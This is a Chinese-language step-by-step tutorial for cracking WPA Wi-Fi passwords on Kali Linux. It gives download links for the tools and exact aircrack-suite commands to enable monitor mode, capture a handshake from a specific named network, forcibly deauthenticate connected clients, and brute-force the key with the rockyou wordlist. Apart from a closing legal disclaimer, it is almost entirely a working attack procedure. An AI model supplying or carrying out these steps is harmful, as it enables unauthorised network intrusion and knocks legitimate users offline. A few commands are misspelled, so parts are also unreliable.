kali linux的使用教程

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

一.需要准备：

（1）安装VMware Workstation虚拟机。

安装文件：
链接：https://pan.baidu.com/s/11ZBV1RJZjW9Gi53YZ7Q31Q 
提取码：lqh1 

安装教程网上自行百度，这里不再详说

（2）安装kali-linux系统。

**可以自行安装，下面是镜像文件。安装教程自行百度。

kali-linux的iso文件：
链接：https://pan.baidu.com/s/1keH6-us_H9uMuApgmf0ZeA 
提取码：lqh2 

**也可进入kali官网下载镜像文件

kali官网

.，在Downloads中选择Download Kali Linux，

**

安装完成之后打开kali linux

（3）准备网卡

购买网卡时应该注意：
1、该网卡可以连接kali linux
2、该网卡具有监听模式
VMware Workstation中不能识别windows自带的无线网卡。

二.开始破解

（1）插上无线网卡

点击 虚拟机 -> 可移动设备 -> 选择那个有WLAN的 -> 连接

（2）输入ifconfig查看网卡信息，出现wlan0说明连接成功

（3）输入 airmon-ng start wlan0开启网卡监听模式

如果出现有报错信息，说明缺少网卡固件。请搜索：

rt2870固件

.进行下载，下载之后放到/lib/firmware即可。

（4）输入iwconfig命令查看网卡信息

wlan0mon网卡名加了mon则表示成功

（5）输入airodump-ng wlan0mon

开始扫描WiFi，按ctrl+c结束任务

BSSID：wifi的MAC地址
PWR：信号强弱程度,数值越小信号越强
#DATA：数据量，越大使用的人就越多
CH：信道频率（频道）
ESSID为wifi的名称，中文可能会有乱码

（6）数据抓取

//输入
airodump-ng --bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon
//例如：本次抓取的wifi名称：CMCC-DDtP
airodump-ng --bssid 10:58:87:2D:75:09  -c 3 -w /home/wifi2/test2 wlan0mon
注意：在输入 “抓包路径” 时，需要自己自定义创建一个目录

如图所示：

如果抓取不到，需要强制把连接的用户踢下线，只有对方重新连接后，才能抓取成功

=

操作步骤

=

1.查看客户端的mac地址
airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名（一般为wlan0mon）

如图所示：

2.把查到的手机或者用户踢下线
airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名（一般为wlan0mon）

3.例如：
aireplay-ng -0 0 -c B8:27:C5:13:E6:BD -a 10:58:87:2D:75:09 wlan0mon

=

恢复用户连接

=

当使用 aireplay-ng 断开用户连接时。
需要ctrl+c断开后，用户才能自己连接上，否则用户的连接会被受限制

（7）解压kali自带的字典文件

解压 /usr/share/wordlists/ 下的 rockyou.txt.gz 文件

例如 ：gzip -d /usr/share/wordlists/rockyou.txt.gz

（8）进行爆破

键入：aircrack-ng -w 字典路径 握手包路径
例如：aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi2/test2-02.cap

显示破解成功：

虽然破解成功了，但是我的密码是自己写进rockyou.txt文件中的，要不然需要等待一段时间所以使用kali-linux进行破解时，需要强大的字典和时间。

注意：本教程仅供自己闲暇学习交流使用，请勿用于非法用途。否则，本人不承担任何法律责任！！